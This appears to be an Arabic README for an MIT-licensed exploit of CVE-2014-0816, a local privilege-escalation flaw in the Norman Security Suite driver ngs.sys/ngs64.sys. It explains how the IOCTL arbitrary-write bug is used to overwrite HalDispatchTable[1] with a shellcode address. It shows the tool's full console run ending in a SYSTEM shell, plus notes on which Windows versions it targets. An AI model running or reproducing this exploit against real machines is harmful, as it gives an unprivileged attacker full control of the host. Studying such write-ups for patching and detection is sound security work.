
CVE-2014-0816
هذا استغلال لـ CVE-2014-0816 (JVNDB-2014-000026: Norman Security Suite معرّضة لثغرة رفع الامتيازات).
يستغل هذا الاستغلال ثغرة في معالج IOCTL في ngs.sys / ngs64.sys لتشغيل CMD.exe بصلاحيات SYSTEM من صلاحية غير مدير (Non-Administrator).
C:\Users\user\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Target file version: ver 5.0.740.0.
[*] An address file was created at C:\Users\user\Desktop\address.bin.
[*] Shellcode is located at 000000013F9357D0.
[*] The device was opened as 0000000000000044.
[*] The address file was opened as FFFFFFFF80000558.
[+] HalDispatchTable[1] is located at FFFFF800033FDC68.
[+] HalDispatchTable[1] was altered.
[+] Shellcode was executed.
[+] The SYSTEM shell was launched.
[*] Press any key to finish this program.
بعدها ستظهر وحدة تحكم جديدة.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>whoami
nt authority\system
تسمح الثغرة للمهاجم بالكتابة فوق أي عنوان بأي قيمة، لذلك يغيّر هذا الاستغلال قيمة HalDispatchTable[1] إلى عنوان شيفرة shellcode يرفع امتيازات العملية الحالية إلى امتيازات SYSTEM.

هذه الثغرة قابلة للاستغلال على جميع المنصات من Windows XP إلى 8 لكل من x86/x64، لكن هذا الاستغلال مصمم ومُختبر على منصات معينة (على سبيل المثال، لن يعمل على Windows 8 بسبب SMEP).
تم إصدار هذا البرنامج بموجب رخصة MIT، انظر LICENSE.